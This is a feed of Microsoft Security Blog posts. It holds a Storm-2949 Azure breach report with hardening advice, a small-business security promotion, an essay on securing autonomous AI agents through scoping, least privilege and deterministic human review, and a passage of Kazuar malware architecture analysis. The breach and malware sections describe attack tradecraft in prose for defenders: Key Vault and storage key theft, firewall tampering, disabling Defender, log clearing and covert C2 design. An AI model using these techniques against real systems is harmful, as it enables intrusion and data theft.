Storm-2949 recalibrated their approach and shifted their focus toward backend resources that were part of the sensitive web app ecosystem and could provide stronger leverage. The threat actor pivoted to the organization’s Azure Key Vault estate – an environment more likely to centralize sensitive secrets and offer indirect access to production systems. Part of the compromised user’s Azure RBAC permissions was the privileged Owner role over a specific Key Vault that seemed to contain credentials that would enable the compromise of the production application.

Over the span of four minutes, the threat actor successfully manipulated Key Vault access configurations and accessed dozens of secrets within the said Key Vault. These secrets included database connection strings, identity credentials, and more, dramatically expanding the attack’s blast radius.

Among these secrets, we believe the threat actor found credentials that enabled them to access the application they coveted the most, which was the main production web app. After they successfully authenticated into the web app, the threat actor changed its password to retain control. They then began exfiltrating sensitive data from it.

Azure Storage and SQL data exfiltration

In parallel, Storm-2949 expanded access across additional cloud resources inside the ecosystem that contained the web app, including Azure Storage accounts and an Azure SQL server.

To enable access to the server, the threat actor abused their existing Azure RBAC permissions to manipulate the SQL server firewall rules by using the microsoft.sql/servers/firewallrules/write operation. They then connected to the SQL server using the credentials they obtained (along with the web app credentials) from the compromised Key Vault.

The threat actor proceeded with data exfiltration and continued to delete the modified SQL firewall rules, which is an activity consistent with defense evasion.
Similar to the SQL server compromise, to set up and prepare for massive data exfiltration from Azure Storage, the threat actor also manipulated storage account network access configurations using the microsoft.storage/storageaccounts/write operation. This manipulation enabled public access to the storage accounts from a closed set of threat actor-owned IP addresses. In addition, the threat actor abused the Azure management-plane operation microsoft.Storage/storageAccounts/listkeys/action to access multiple storage account Shared Access Signature (SAS) tokens and account keys, enabling the use of static, non-interactive authentication to retrieve data.

Using these keys, the threat actor downloaded large volumes of data from several Azure Storage accounts using a custom Python script that leveraged the Azure SDK for Storage. The script allowed them to programmatically enumerate and download blobs directly to their own endpoint device. This storage‑based exfiltration continued over multiple days since the initial access, with the threat actor alternating between secret- and OAuth‑based authentication as access conditions and controls evolved.

Azure Virtual Machines compromise

Apart from the web app and data-store resource compromise, the abuse of Azure Virtual Machine (VM) extensions and administrative features – specifically Run Command and the VMAccess extension – were also prominent elements of this attack. These activities appear to have been primarily intended to expand operational access within the victim environment by leveraging compromised VMs as intermediary footholds. Observed actions across these systems focused on credential harvesting and environment discovery, as well as attempts to access resources that weren’t directly reachable through previously compromised identities. These efforts included domain reconnaissance and the collection of authentication material that could facilitate movement between cloud and on‑premises environments, as well as enable access to additional high‑value assets.

Shortly after the initial access, the threat actor operated in parallel, trying to compromise the organization’s virtual machines. Using the compromised users assigned with privileged Azure RBAC permissions, the threat actor deployed the VMAccess extension to create a new local administrator account on a targeted VM. VMAccess is an Azure VM extension intended to help administrators restore access to a VM when credentials get lost or misconfigured by allowing password resets or the addition of privileged local users through the Azure management plane. In this case, the threat actor abused the extension to gain backdoor access to an administrator user on the VM.

Using the Run Command feature, the threat actor deployed a script attempting to abuse the VM’s managed identity by requesting an access token from the Azure Instance Metadata Service (IMDS) and using it to authenticate to – and retrieve secrets from – the production web app-related Key Vault. However, the threat actor wasn’t able to retrieve the secrets because the managed identity lacked the required permissions. Yet, this attempt shows the threat actor using guest-level execution as a bridge to additional Azure resource access through workload identity.

ScreenConnect installation and defense evasion

Storm-2949 further abused the Run Command by running a PowerShell script intended to deploy persistent remote access while reducing host-based security visibility on multiple VMs.

The script attempted to weaken Microsoft Defender Antivirus by disabling several protections, including real-time protection and behavior monitoring, and by interfering with its associated service. These changes lowered the likelihood that subsequent activity would be blocked or generate actionable alerts on the device.

The script then installed the ScreenConnect remote monitoring and management (RMM) tool obtained from threat actor-controlled infrastructure. The installation process included several steps intended to masquerade the tool’s presence, such as making the network request appear consistent with trusted software updates and placing files in locations intended to resemble legitimate system content.

To further obscure the tool’s presence, the script attempted to rename or configure the installed service to resemble legitimate Windows components, providing a simple form of local masquerading.

Finally, the script attempted cleanup actions to remove local forensic artifacts that could be attributed to the threat actor. These included clearing Windows event logs, removing execution artifacts, and deleting command history and temporary files. Such steps are commonly observed in post-compromise activity and are generally intended to complicate investigation rather than provide durable evasion.

Post-compromise activity using ScreenConnect

The threat actor used the deployed ScreenConnect to launch commands across multiple compromised devices, performing basic discovery. This included collecting host level details (for example, operating system and configuration information) and enumerating domain context such as user accounts and group memberships.

Across a subset of those hosts, the threat actor focused on credential harvesting techniques. They discovered and exfiltrated .pfx certificate files – artifacts that might contain private keys and could be valuable for follow-on access if imported or reused elsewhere. In parallel, they searched for remote file shares for likely credential exposure by scanning files for password related strings. Not every collection effort occurred on every host; rather, it was distributed across systems based on what data and access each host provided.

These actions show ScreenConnect being used as a practical execution channel to run discovery, collect credentials, and attempt to operationalize access across different devices.

While the threat actor ultimately established execution on several endpoints, these systems didn’t appear to yield high value data aligned with their objectives. The endpoint activity primarily served as a secondary capability for discovery and credential harvesting, rather than a core exfiltration channel.

Throughout this incident, Microsoft Defender generated multiple alerts that helped analysts piece together activity across endpoints and cloud. Defender correlated these signals into unified incidents, surfacing high-fidelity alerts and a coherent view of threat actor activity. This kind of cross-domain correlation – collecting and normalizing telemetry and linking related alerts – illustrates the value of an integrated detection and response approach for improving signal-to-noise clarity and end-to-end visibility.

Mitigation and protection guidance

The visibility provided by correlated alerts across identities, cloud, and endpoints can help organizations investigate and understand attacks end-to-end. Building on this visibility, organizations can reduce risk and limit the impact of similar attacks by deploying appropriately scoped detection and response capabilities (including Microsoft Defender where applicable) and by applying targeted hardening practices.

Ensure adequate security coverage across attack surfaces

To effectively detect and respond to attacks that span identity, cloud, and endpoint environments, organizations should ensure they have monitoring, detection, and response capabilities deployed and properly configured across those surfaces. The following examples describe how Microsoft Defender capabilities can be used to help with this; equivalent controls might be available in other security solutions.

Use Microsoft Defender for Endpoint for:

• Tamper protection enabled to prevent threat actors from stopping security services such as Defender for Endpoint, which can help prevent hybrid cloud environment attacks.
• Endpoint detection and response (EDR) in block mode so that Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus doesn’t detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts detected post-breach.
• Investigation and remediation in full automated mode to allow Defender for Endpoint to take immediate action on alerts to help remediate alerts, significantly reducing alert volume.

Use Microsoft Defender for Cloud to protect your cloud resources and assets from malicious activity, both in posture management (Microsoft Defender Cloud Security Posture Management), and threat detection capabilities. Enable workload protection capabilities across cloud resources, including:

• Microsoft Defender for Resource Manager
• Microsoft Defender for App Service
• Microsoft Defender for Key Vault
• Microsoft Defender for Storage
• Microsoft Defender for Databases
• Microsoft Defender for Servers

In addition, leverage the Microsoft Defender XDR to hunt for threats across cloud environments and resource with advanced hunting. Security teams can proactively investigate threat actor activity by querying telemetry across multiple domains using tables such as CloudAuditEvents, CloudStorageAggregatedEvents, and others, enabling deep visibility into control-plane and data-plane operations, authentication events, and cross-service attack patterns.

Use Microsoft Defender for Cloud Apps and enable connectors to monitor SaaS activity.

Security hardening and best practices

In addition to deploying the appropriate Defender capabilities, organizations should apply the following security controls and practices to mitigate similar attack paths:

Identity protection

• Secure accounts with credential hygiene. Practice the principle of least privilege and audit privileged account activity in your Microsoft Entra ID and Azure environments to slow or stop threat actors.
• Enable Conditional Access policies. Conditional Access policies are evaluated and enforced every time the user attempts to sign in. Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies such as device compliance or trusted IP address requirements.
• Ensure MFA is required for all users. Adding more authentication methods, such as the Microsoft Authenticator app or a phone number, increases the level of protection if one factor is compromised.
• Ensure phishing-resistant MFA strength is required for Administrators and privileged user accounts.
• Ensure all existing privileged users have an already registered MFA method to protect against malicious MFA registrations
• Implement Conditional Access authentication strength to require phishing-resistant authentication for employees and external users for critical apps.
• Refer to Azure Identity Management and access control security best practices for further steps and recommendations to manage, design, and secure cloud environment.
• Turn on Microsoft Entra ID protection to monitor identity-based risks and create risk-based Conditional Access policies to remediate risky sign-ins.

Cloud resource protection

• Use the Azure Monitor activity log to investigate and monitor Azure management events.
• Configure and harden resources firewall rules and access controls to allow access only from trusted IP ranges and virtual networks to prevent unauthorized access.
• Use Azure policies to continuously enforce the hardened configurations.
• Practice and apply Azure Storage security best practices:
• Use Azure policies for Azure Storage to prevent network and security misconfigurations and maximize the protection of business data stored in your storage accounts.
• Implement Azure Blob Storage security recommendations for enhanced data protection.
• Use the options available for data protection in Azure Storage.
• Enable immutable storage for Azure Blob Storage to protect from accidental or malicious modification or deletion of blobs or storage accounts.
• Enable Azure Monitor for Azure Blob Storage to collect, aggregate, and log data to enable recreation of activity trails for investigation purposes when a security incident occurs or network is compromised.
• Use private endpoints for Azure Storage account access to disable public network access for increased security.
• Avoid using anonymous read access for blob data.
• Enable Azure blob backup to protect from accidental or malicious deletions of blobs or storage accounts.
• Apply the principle of least privilege when authorizing access to blob data in Azure Storage using Microsoft Entra and RBAC and configure fine-grained Azure Blob Storage access for sensitive data access through Azure attribute-based access control (ABAC).
• Practice and apply Azure Key Vault security best practices:
• Enable purge protection in Azure Key Vaults to prevent immediate, irreversible deletion of vaults and secrets. Use the default retention interval of 90 days.
• Enable logs in Azure Key Vault and retain them for up to a year to enable recreation of activity trails for investigation purposes when a security incident occurs or network is compromised.
• Restrict public network access to Azure Key Vault by enabling private endpoints and disabling public access to reduce exposure to unauthorized access attempts.
• Regularly audit Azure RBAC role assignments and Key Vault access policies, depending on the Key Vault permission model, to ensure least privilege and detect over-permissioned identities. Microsoft explicitly recommends Azure RBAC over Key Vault access policies. 
• Configure SQL server firewall rules to restrict access to known IP addresses and monitor for unauthorized changes to firewall configurations.
• Enforce authentication through Microsoft Entra ID for SQL instances to reduce reliance on static credentials and improve access control
• Practice and apply Azure App Service security best practices:
• Disable legacy authentication methods and enforce managed identity usage for Azure App Services to prevent credential theft through publishing profiles.
• Monitor and restrict access to Azure App Service publishing credentials by limiting RBAC permissions and auditing usage of the publish profile API.
• Enable diagnostic logging in App Service logs to detect suspicious deployment or configuration changes.
• Enable Microsoft Azure Backup for virtual machines to protect the data on your Microsoft Azure virtual machines, and to create recovery points that are stored in geo-redundant recovery vaults.
• Audit and restrict the use of Azure VM features and extensions such as Run Command and VMAccess by limiting RBAC permissions and monitoring for suspicious invocation patterns.
• Use Azure Policy to restrict or audit the deployment of Azure VM extensions across your subscriptions.

General hygiene recommendations

• Investigate Microsoft Security Exposure Management attack paths. Security teams can use attack path analysis to trace cross-domain threats that pivot to cloud workloads, escalate privileges, and expand their reach.
• Use Azure Policy to enforce organizational standards and prevent the deployment of risky configurations, such as public access to sensitive resources.
• Implement consistent cloud security recommendations hygiene.

Indicators of compromise (IOCs)

IOCs reflect observations at the time of analysis and may not be exhaustive or persistent.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Note that the following detections only covers the threat activities we’ve observed at the time of analysis.

This research is provided by Microsoft Defender Security Research with contributions from Adi Segal, Karam Abu Hanna, Alon Marom, and members of Microsoft Threat Intelligence.

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To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

How Microsoft discovers and mitigates evolving attacks against AI guardrails 

Learn more about securing Copilot Studio agents with Microsoft Defender  

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Microsoft 365 Copilot AI security documentation 

The post How Storm-2949 turned a compromised identity into a cloud-wide breach appeared first on Microsoft Security Blog.

AI is rapidly reshaping how work gets done in companies and organizations. In celebrating National Small Business Month, we want to acknowledge the unique challenges that growing business leaders face as AI creates both opportunity and risk. They face constant tradeoffs between moving fast, managing risk, and keeping operations stable under pressure. At the same time, cybercriminals are moving faster, their attacks are becoming more targeted, and AI is helping increase efficacy of the threats. In fact, AI-automated phishing is 4.5 times more effective than traditional cyberattacks. It takes only one convincing phishing email, and one stray click to enable a breach.¹

The key question is: How can we maximize the benefits of AI while staying protected in a rapidly evolving threat landscape?

Cybersecurity—from IT issue to business risk

Today’s cybersecurity landscape is defined by speed, scale, and automation—trends that disproportionately affect growing businesses. According to the 2025 Microsoft Digital Defense Report, Microsoft now processes more than 100 trillion security signals every day and blocks 4.5 million new malware files daily, underscoring just how industrialized cybercrime has become. Increasingly, cyberattackers are using AI to automate phishing, generate highly convincing scams, and rapidly adapt malware, making cyberattacks more frequent and harder to detect.

For businesses that often lack dedicated security teams or round-the-clock monitoring, this shift has real business consequences: disrupted operations, financial loss from ransomware or fraud, and lasting damage to customer trust. The report also notes that most modern cyberattacks now target identities, like user accounts and access—a challenge for organizations relying on cloud services and remote work without strong protections in place for accounts and access. As AI continues to amplify both the volume and sophistication of cyberattacks, cybersecurity is no longer just an IT issue for businesses—it’s a core business risk that can directly affect resilience and growth.

Building a foundation of trust

In this new reality, security becomes the foundation of trust—helping growing businesses protect their operations, preserve customer trust, and move forward with confidence. For business owners, cybersecurity isn’t just about stopping cyberattacks; it’s about keeping the business running day to day. When systems go down, orders can’t be processed, employees can’t do their work, and customers are left waiting or wondering whether their data is safe. Even short disruptions can have outsized consequences for growing businesses, from lost revenue and stalled growth to reputational damage that’s hard to repair. By making security a core part of how the business operates—not an afterthought—even the smallest businesses put themselves in a stronger position to withstand disruptions, maintain credibility with customers, and create a stable foundation for long-term growth.

Simple, built‑in security for your growing business

Effective security must be simple, approachable, and fit the realities of running a business with limited time and resources. Many growing businesses don’t have dedicated security teams or the time and resources to manage complex tools, yet they still need protection that keeps pace with modern threats. Microsoft Security is built with this in mind, offering integrated, easy‑to‑manage protections that help safeguard devices, identities, email, and cloud apps without adding unnecessary complexity. Microsoft 365 Business Premium combines productivity and built-in security in one streamlined solution, with centralized visibility and automation that reduces manual effort. It helps protect your users, devices, and data across your business, so you can stay focused on customers and day-to-day operations. By providing security that works quietly in the background—and scales as the business grows—Microsoft helps businesses of all sizes protect what matters most without slowing them down.

Allowing people to operate devices and applications without conditional access increases risks. Getting that done was a huge success for us.“

—Theo Mouchteros, Head of IT Operations, Acumen

Take the next step

To discover the right security plan for growing business, read our small and medium business plans and pricing options or contact Microsoft Sales for more support.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

¹Microsoft Digital Defense Report 2025.

²Cyber Signals Issue 9.

³The Devastating Impact of Ransomware Attacks on Small Businesses.

The post How to better protect your growing business in an AI-powered world appeared first on Microsoft Security Blog.

Designing Secure Autonomous AI Agents with Defense in Depth

AI agents are moving beyond assistance and into action. Instead of generating content, they invoke tools, modify data, trigger workflows, and operate across systems with increasing autonomy. This shift changes the security problem fundamentally. When an agent can act autonomously, mistakes propagate faster, blast radius increases, and rollback becomes harder.

Security for agentic AI relies on defense in depth. What changes with autonomous agentic AI is where security decisions matter most. As autonomy increases, the center of gravity moves away from the model alone and toward how agents are assembled, constrained, and governed inside real applications. To build agentic AI applications that can be operated safely at scale, you need to deliberately design how agents are assembled, constrained, and governed within real applications. In return, you increase the likelihood of predictable behavior, controlled blast radius, and the confidence to deploy autonomy in production.

Defense in depth for agentic AI systems

Agentic AI systems are vulnerable to the existing security risks of software systems, and introduce new threat classes: agent hijacking, intent breaking, sensitive data leakage, supply chain compromise, and inappropriate reliance. Any weakness in permissions, data protection, or access control that exists today is amplified when an agent is added to the system.

A useful way to reason about agent security is through the following mitigation layers:

• Model layer: Influences how the agent reasons through training data, fine-tuning, and refusal behaviors.
• Safety system layer: Provides runtime protections such as content filtering, guardrails, logging, and observability.
• Application layer: Defines what the agent can do and how it does it through application architecture, permissions, workflows, and escalation paths.
• Positioning layer: Shapes how the system is presented to users through transparency documentation and UX disclosure.

Each layer reinforces the others, and no single layer is sufficient on its own. The model layer is probabilistic by nature. The safety system layer observes and intervenes at runtime. The positioning layer shapes perception. But for organizations building agentic AI applications, the application layer is the decisive one because it is the only layer builders fully control.  The application layer translates probabilistic model behavior into deterministic system outcomes. This is also where customers turn generic components into differentiated systems: two organizations can start with the same model and tools and end up with very different security outcomes depending on how they constrain agent behavior at this layer.

Why the application layer matters most when building agentic AI applications

Most organizations build agentic AI applications by combining off-the-shelf models, tools, and business data into systems that perform specific tasks. The application layer is where they decide which actions an agent is allowed to take, which tools and data it can access, how permissions are scoped and enforced, how failures are handled, and when humans must be involved.

Getting these decisions right requires thinking through several specific design patterns. Each one addresses a distinct failure mode. Together, they form the practical expression of defense in depth at the application layer.

Here are some recommended design patterns for building a more resilient application layer for your agents.

Pattern 1: Design agents like microservices

The most consequential application layer decision is action scope: how broadly you define an agent’s responsibilities. A common and dangerous failure mode is the “everything agent,” a single agent with broad permissions, many tools, and loosely defined responsibilities. Every additional tool expands the attack surface. Every ambiguous instruction increases the risk of error or task drift. As autonomy and tools increase, these risks compound quickly.

A more resilient approach is to design agents the way distributed systems have been designed for decades: as carefully scoped components with bounded capabilities. Agents should have isolated permissions, clear interfaces, and narrow responsibilities. More complex behaviors emerge from orchestration rather than from granting a single agent broad authority. Building agents like microservices, with constrained responsibilities and scoped permissions by design, is one of the most effective structural controls available at the application layer.

Pattern 2: Least permissions

Bounded scope defines what an agent is responsible for. Progressive permissioning governs what actions are permitted within that scope. As a rule, permissions should always start at zero (“zero trust”).

For safe design, no actions should be permitted by default. Actions are enabled explicitly, based on role and system needs. Least-privilege and zero-access principles apply to agents just as they do to human users.

Permissions granted loosely at design time become exploitable surfaces at runtime.

In practice, this means every tool call, data access, and external integration an agent can invoke should be the result of a deliberate authorization decision, not an implicit one. The question is not “should we restrict this?” but “have we explicitly permitted this?”

The general rule is to scope capabilities to the duration of a specific task. If task-based limits aren’t feasible, implement time-based limits. Task-focused permissions are preferred because they naturally “expire” when the task completes; temporal permissions help limit blast radius.

Pattern 3: Deterministic human-in-the-loop design

Even well-scoped, well-permissioned agents need a governance backstop for high-stakes decisions. Human-in-the-loop (HITL) review is often discussed as a trust mechanism: a way to keep humans informed. In agentic systems, it is better understood as a governance mechanism: a structural control that prevents agents from self-authorizing consequential actions.

The critical design mistake here is letting the model decide when human review is required. If escalation is left to probabilistic reasoning, an adversarial prompt or an ambiguous instruction can bypass review entirely. A model that reasons its way out of escalating is exhibiting exactly the behavior the escalation mechanism was supposed to catch.

In secure agentic systems:

• HITL review ideally is enforced deterministically by the application layer, or orchestrator, not delegated to the model.
• Escalation triggers are defined in code.
• An orchestrator enforces HITL review triggers.
• Intervention can occur mid-execution — including during tool calls — rather than only before or after an action completes.

This design removes ambiguity about when review is required, supports auditability for oversight and compliance, and ensures that as agents move toward greater autonomy, the separation between reasoning and enforcement remains intact.

Pattern 4: Agent identity as a security primitive

It is an unfortunate reality that human users are routinely over-permissioned (“give them access to everything”). To implement Pattern 1: Agents as Microservices and Pattern 2: Least permissions, agents must never have the same identity as the user. This sounds obvious, but it requires deliberate design: When an action is taken, you need to know if it was executed by the user, the agent was acting on its own behalf, or the agent acting on the user’s behalf. Each agent must be assigned a unique, verifiable identity which allows assignment of explicit and narrowly scoped permissions, lifecycle controls, and accountability.

Agent identity enables least-privilege enforcement, because you cannot scope permissions to a specific agent if you cannot distinguish that agent from other agents or a human user. It also enables lifecycle governance, because revocation actions won’t be invoked when many agents are affected. Finally, separate agent identity enables meaningful observability, because actions can be traced back to a specific agent rather than being attributed vaguely to “the system.”

 As enterprises manage agent sprawl (with more agents, more deployments, and even more integrations), identity clarity becomes operationally critical. Identity is not a feature you add later. It is a prerequisite for operating autonomous agents responsibly at scale, and it ties together every other application layer pattern: permissioning, escalation, and logging all depend on knowing which agent is acting.

How the Other Layers Reinforce Application‑Layer Design

Focusing on the application layer does not diminish the importance of the other layers. Instead, it clarifies their roles.

• The model layer – the model chosen to enable the application – shapes how an agent reasons, but remains probabilistic. It can be tuned toward safer behavior, but it cannot guarantee it.
• The safety system layer – platform tools like content filters and groundedness detection – compensates for what models alone cannot prevent: it detects anomalies, filters harmful outputs, and fulfills the observability teams’ need to respond when something goes wrong.
• The positioning layer – how the UI and UX explains that AI is in use, what it can do, and what it can’t do

Each layer addresses failure modes the others cannot fully cover. A strong safety system cannot compensate for an agent with unlimited scope. A well-tuned model cannot substitute for deterministic escalation triggers. The application layer is where the load-bearing decisions are made. The other layers make those decisions more resilient.

Designing for Secure Autonomy

The four patterns described here — agents as microservices, least permissions, deterministic human-in-the-loop design, and agent identity — are mutually reinforcing. Scope containment limits blast radius. Permissioning limits what a contained agent can do. Deterministic escalation ensures that neither scope nor permissions can be circumvented by adversarial input. Identity makes all of it auditable.

The application layer is where customers have the most power to shape how their agent behaves. It is where off‑the‑shelf models become real agentic AI applications. It is where security decisions shape both business value and risk. Defense in depth remains the right strategy. As agents take on more responsibility, the application layer becomes the place where that strategy succeeds or fails.

As organizations deploy more agentic AI systems, the question is not whether agents will make mistakes. They already have and will continue to. The question is whether those mistakes are minimized, identified, and contained. Secure autonomous agentic AI systems are achieved by designing systems where autonomy is bounded by architecture, permissions, identity, and deterministic oversight from the start.

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Kazuar, a sophisticated malware family attributed to the Russian state actor Secret Blizzard, has been under constant development for years and continues to evolve in support of espionage-focused operations. Over time, Kazuar has expanded from a relatively traditional backdoor into a highly modular peer-to-peer (P2P) botnet ecosystem designed to enable persistent, covert access to target environments.

This upgrade aligns with Secret Blizzard’s broader objective of gaining long-term access to systems for intelligence collection. The threat actor has historically targeted organizations in the government and diplomatic sector in Europe and Central Asia, as well as systems in Ukraine previously compromised by Aqua Blizzard, very likely for the purpose of obtaining information supporting Russia’s foreign policy and military objectives.

While many threat actors rely on increasing usage of native tools (living-off-the-land binaries (LOLBins)) to avoid detection, Kazuar’s progression into a modular bot highlights how Secret Blizzard is engineering resilience and stealth directly into their tooling. By separating responsibilities across Kernel, Bridge, and Worker modules and restricting external communications to a single elected leader, Kazuar reduces its observable footprint. It also maintains flexible tasking, data staging, and multiple fallback channels for command and control (C2). Understanding this architecture helps defenders move beyond single sample analysis and instead focus on the behaviors that keep the botnet operational: leader election, inter-process communication (IPC) message routing, working directory staging, and periodic exfiltration.

Kazuar’s capabilities and tradecraft have been widely documented by the security research community, and prior reporting, including Unit 42’s write-up and a recent deep dive into its loader capabilities, remains relevant today. This blog is an in-depth analysis of Kazuar’s progression from a single, monolithic framework into a modular bot ecosystem composed of three distinct module types, each with clearly defined roles. Together, these components distribute functionality across the P2P botnet, enabling flexible configuration, lower observability, and broad tasking while minimizing opportunities for detection.

Delivery

Kazuar is delivered through multiple dropper variants. In one observed method, the Pelmeni dropper embeds the encrypted second-stage payload directly within the dropper as an encrypted byte array. The payload is often bound to the target environment (for example, encrypted using the target hostname) so it only decrypts and executes on the intended host.

In another method, the dropper deploys a small .NET loader alongside the final payload. The dropper then invokes the loader (often configured as a COM object) and supplies the decrypted payload, allowing it to load and execute the Kazuar modules.

Module types

There are three distinct types of modules: Kernel, Bridge, and Worker. The next sections explain the functionality contained in each type and how they interact with each other.

This diagram shows the general interactions between a set of modules on a single host. Each infected host needs to have all three modules to create the full P2P network:

Note: We use ALL CAPS when referencing identifiers taken verbatim from the malware (for example, internal module and thread names, message types, configuration keys, or mode/flag values). 

Type: Kernel

The Kernel module serves as the central coordinator for the botnet. It issues tasks to Worker modules, manages communication with the Bridge module, and maintains logs of actions and collected data. Early in execution, the Kernel module performs extensive anti-analysis and sandbox checks. These behaviors are well documented in the Unit 42 write-up and include standard checks such as:

• Checking for running processes containing analysis tools
• Checking for canary files on the desktop
• Checking the loaded process for sandbox-related DLLs

Module configuration

Once these checks are passed, the Kernel module sets up the environment based on numerous configuration options. Previous versions of Kazuar have used separate files containing the configuration information, but these are now embedded in the samples and have significantly increased the number of configurations available to the malware family. 

The configuration set can vary across 150 different configuration types, C2 communication infrastructures, or tasking options generally defined by eight functional categories. Any operational configuration in use can be updated at any time from the C2 server. The following table contains some examples and descriptions of the categories.

This configuration exposes three internal communication mechanisms:

• Window Messaging
• Mailslot
• Named pipes

There are also three different communication protocols for external communication:

• Exchange Web Services (EWS)
• HTTP
• WebSockets (WSS)

They typically contain redundant or fallback communications to maintain access in the event of the failure of a single point of contact.

Leadership election

One of the methods that Kazuar uses to limit external communication is to use a single Kernel leader per botnet. In this architecture, the Kernel leader is the one elected Kernel module that communicates with the Bridge module on behalf of the other Kernel modules, reducing visibility by avoiding large volumes of external traffic from multiple infected hosts.

There are several conditions that determine whether a new leader needs to be elected among participating Kernel modules:

1. There currently is no leader.
2. The leader announces it is shutting down.
3. The leader announces it is logging off.
4. If an election does not result in a leader due to an error, a new election will be called.

Elections occur over Mailslot, and the leader is elected based on the amount of work (length of time the Kernel module has been running) divided by interrupts (reboots, logoffs, process terminated). Once a leader is elected, it announces itself as the leader and tells all other Kernel modules to set SILENT.

Only the elected leader is not SILENT, which allows the leader Kernel module to log activity and request tasks through the Bridge module. Client Kernel modules still participate in internal IPC (for elections, status, and delegated work), but they don’t independently request tasks from the Bridge module. Before entering SILENT mode, each client Kernel module sends a CLIENT announcement, which causes the leader to add it to the maintained agent list.

With the hierarchy established, the work can be done. Several threads and communication types are initialized to perform the work and communicate between modules.

REMO thread

The REMO thread sets up a named pipe channel between Kernel modules so the leader can exchange messages with other Kernels. By default, the pipe name is the MD5 hash of pipename-kernel-<Bot version>, which results in a pipe path such as \\.\pipe\82760B84F1D703D596C79B88BA4FAC1E. The name could be modified through additional strings passed into the name-building function, but this pattern is the default. This channel lets the leader target specific client Kernel modules when delegating work.

Messages over this pipe are AES-encrypted and begin with a PING/PONG handshake. After that, the leader could:

• Request another Kernel module’s logs
• Assign tasks to a client Kernel module

Because only the Kernel leader is allowed to request tasks through the Bridge module, it distributes work to the other Kernel clients over named pipes. If the leader receives a task destined for a different bot, it forwards the task to the appropriate client Kernel module through this channel.

MSGW thread

For Kernel-to-Worker and Kernel-to-Bridge communication, Kazuar uses one of two IPC mechanisms:

• Window Messaging [default selection]
  • Registers a hidden window
• Mailslot
  • Registers a Mailslot

Based on its initial configuration, Kazuar selects one of these communication types to listen for incoming communication, with the default being Windows Messaging.

Window Messaging setup

This technique involves creating a hidden window and registering a ClassName and WindProc. The ClassName is simply the module name (for example, Bridge), and the WindProc is the general-purpose message handler.

This allows other processes to look up the window by ClassName and use several different APIs to send a message to that window. When the window receives a message, the WindProc is executed to parse it and carry out the requested action.

Mailslot setup

The Mailslot name is derived by hashing the string “mailslot-” plus the module name (Bridge/Kernel/Worker). The configuration can optionally append an additional identifier (empty by default), which allows deployments to create distinct Mailslot namespaces when needed.

The string is hashed and used as the name to create the Mailslot: \\.\mailslot\<generated hash>.

A thread is created that checks every three seconds for new messages using the API GetMailslotInfo, and when it finds one, it parses the incoming message.

Message types

Regardless of what message delivery system is selected, the message is parsed by the same handler function. For the Kernel module, this message parsing function has numerous expected communication messages, since it controls all the modules execution flows.

The following message table describes the incoming and outgoing messages for the Kernel, what actions precipitate a message, and what the Kernel does when it receives each message:

SEND thread

The configuration specifies an external communication method from the available communication modes

• HTTP [default selection]
• Web Socket Server (WSS)
• Exchange Web Server (EWS)

These configurations can be changed at any point when the C2 sends a new configuration, or a change communication task is issued to it. It also contains a heartbeat timer that is defined in the configuration for the SEND actions to occur with the default timer being every hour. There are also working timers that can install a blackout period on communications to blend in with the target environment.

Note: Only the elected Kernel leader can perform the following actions:

• If the Kernel has task results 
  • Read in the task file
  • Send SEND message to Bridge with the task result file
• Get new tasks from Bridge
  • Send CHECK message to Bridge

Table 2 describes what the Kernel expects in return for these messages. The messages are sent asynchronously and recorded as tasks by the Kernel.

There is also a failsafe communication method that allows the Kernel to directly contact the remote C2 if the Kernel is unable to communicate with the Bridge module. Essentially, if all communication attempts fail and a certain amount of time has elapsed, the Kernel module requests tasks directly from the remote C2.

SOLV thread

This thread executes when the heartbeat timer expires to handle any tasks that the Kernel is tracking. This thread performs several functions related to the current task list:

• Loop through the list of current tasks
  • Check if aborted flag is true
    • Issue TaskKill message to the worker (Window Messaging)
    • Remove task from task list
  • Check if task has exceeded the configured max working time for task
    • Issue TaskKill message to the worker (Window Messaging)
    • Set aborted flag for task to true
    • Remove task from task list
• Read in all task files from the working directory
  • If the task is new
    • Add task to task list

Type: Bridge

The Bridge module provides the botnet’s external communications layer, acting as the proxy between the leader Kernel module and the C2 server regardless of the transport method selected. Since each Kernel module has its own Worker and Bridge module, if a new leader is elected, then that new leader Kernel module uses its Bridge module for communication. It typically has the same default configuration as the Kernel module but does contain a few different operations that set up the initial infection.

The Bridge module initializes its core object with basic metadata and instantiates two supporting components that provide the module’s primary functionality:

• Server Communication module
• Task Handling module

The module registers handlers for two system-level events. These handlers define how the module should respond when specific system events occur:

• SystemEvents.SessionEnded
• SystemEvents.PowerModeChanged

When an event is triggered, the corresponding handler function is invoked, allowing the module to determine the appropriate action for that event. Events are typically ignored unless they require explicit handling.

The module only terminates when the system is shutting down; all other events do not affect its lifetime. Based on its initial configuration, which should match the Kernel module configuration, it selects either Mailslot or Windows Messaging as the IPC mechanism used for communication between modules. Once the setup steps is completed, the module is ready to proxy communication between the leader Kernel module and the C2 server.

Type: Worker

The initial Worker configuration mirrors the structure of other module configurations and follows the same overall layout. Based on its initial configuration, the Worker module selects either Mailslot or Windows Messaging as the IPC mechanism used to communicate between modules. The default configuration for this botnet uses Windows Messaging; further details on the window setup are described below.

During initialization, the Worker configuration instantiates several objects responsible for the module’s primary functionality. Each object is executed within its own named thread. These components include:

• Task Solver
  • Handles task tracking
• Peep
  • Hooks windows events
  • Has a max number of windows to hook set by the configuration
• Keylogger
• Filesystem
  • GINFO – Gather system info
  • GFIL – Gather file listings
    • Recent files
    • Desktop
    • Malware working directory
  • GHOO – Window information
  • GMAP – Gather MAPI info
    • Email information

